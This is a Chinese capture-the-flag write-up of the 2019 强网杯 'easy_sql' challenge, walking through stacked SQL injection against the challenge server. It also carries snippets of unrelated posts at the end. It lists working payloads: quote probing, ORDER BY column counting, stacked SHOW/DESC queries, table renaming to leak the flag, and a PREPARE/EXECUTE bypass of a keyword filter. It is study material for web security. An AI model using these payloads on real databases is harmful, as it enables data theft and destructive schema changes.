WriteUp_easy_sql_堆叠注入_强网杯2019
题目描述
随便注
解题过程
查看源码,发现应该不适合sqlmap
自动化注入,该题应该是让你手工注入;
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
在表单中加入单引号'
试错,发现SQL
语法错误
http://159.138.137.79:53698/?inject=1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at
这说明为GET型SQL注入漏洞。考虑联合注入;
判断列数
- 采用
order by
http://159.138.137.79:53698/?inject=1' and 1=2 order by 3 --+
- 经判断列数为2
尝试通过联合查询,查询有用信息
http://159.138.137.79:53698/?inject=1' and 1=2 union select database(),user() --+
发现某些关键字被过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这样我们便不能通过联合查询进行注入了。
这时考虑堆叠注入
使用分号结束上一个语句再叠加其他语句一起执行;
查询所有数据库
http://159.138.137.79:53698/?inject=1' and 1=2; show databases;--+
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
显示所有表
http://159.138.137.79:53698/?inject=1' and 1=2; show tables;--+
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查询表的结构
http://159.138.137.79:53698/?inject=1' and 1=2; desc `1919810931114514`;--+
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
由此可知,默认查询的表为words
表,而flag在另一个表中。
我们可以将另一个表改设为默认查询的表。
http://159.138.137.79:53698/?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
相关知识
堆叠注入
在正常的语句后面加分号(;),可顺序执行多条语句,从而造成注入漏洞。
Mysql语句
显示表的列的信息
show columns from table_name
desc table_name
select * from information_schema.columns where table_schema="" and table_name=""
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]
alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;
第二种做法
使用PHP的预处理语句
SET @sql = variable; //设置变量
PREPARE pre from '[my sql sequece]'; //预定义SQL语句
EXECUTE pre; //执行预定义SQL语句sqla
SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from `1919810931114514`") ;
PREPARE pre from @sql;
EXECUTE pre;
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
WriteUp_easy_sql_堆叠注入_强网杯2019的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- [强网杯 2019]Upload
0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
- [强网杯2019]upload buuoj
提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...
- 堆叠注入tips
漏洞成因 使用mysqli_multi_query()这种支持多语句执行的函数 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为tr ...
随机推荐
- [PHP]听说随机数mt_rand()比rand()速度快,闲的无聊测试了一下!
废话不说上码 //microtime() 函数返回当前 Unix 时间戳的微秒数.//当设置为 TRUE 时,规定函数应该返回一个浮点数,否则返回一个字符串.默认为 FALSE. <?php h ...
- Mysql数据操作指令
-----多数据插入-----只要写一次insert指令,但是可以直接插入多条记录insert into table values(),(),(); 主键冲突我们插入值的时候,主键中已经存在某个值,插 ...
- windows下部署.netcore+docker系列一(安装linux (ubuntu18.4))
1 下载 虚拟机和 linux 系统 版本是 ubuntu 链接:https://pan.baidu.com/s/1jTxdysoyOhSWD-Ea-7JIbg 提取码:iiad 2 首先要安装 虚 ...
- 2019-2020-1 20199325《Linux内核原理与分析》第一周作业
1.显示一句话welcome !/bin/bash script4-1.sht var1="welcome to use Shell script" echo $var1 pwd ...
- [Inno Setup] 执行程序,返回值不为0时提示用户
procedure LoadPerfCounter(); var Ret : Integer; begin if Exec(ExpandConstant('{sys}') + '\lodctr.exe ...
- JAVA 之 JSTL
一.什么是JSTL JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能. JSTL支持通用的.结构化的任务,比如迭代,条件判断,XML文档操作,国际化标签,SQL标签. ...
- java switch用法
为什么80%的码农都做不了架构师?>>> Java 7中,switch的参数可以是String类型了,这对我们来说是一个很方便的改进.到目前为止switch支持这样几种数据类型: ...
- 前端跨域解决方案: JSONP的通俗解说和实践
对于前端开发者而言,跨域是一个绕不开的话题.只有真正明白了各种方案的工作机制,才能针对性地进行跨域方案选型.本文将以探索者的视角,试图用最通俗的语言对一种"鼎鼎大名"的跨域解决方 ...
- Android 工程师眼里的大前端:GMTC 2018 参会总结
本文由玉刚说写作平台提供写作赞助 原作者:两位低调的 Android 高手 版权声明:本文版权归微信公众号玉刚说所有,未经许可,不得以任何形式转载 概述 2018年的GMTC大会于6月22号在北京刚刚 ...
- Math.Round和四舍五入
Math.Round方法并不是像想象中的四舍五入, 可以从下面的输出结果看出来: Math.Round(3.44, 1); //Returns 3.4. Math.Round(3.45, 1); // ...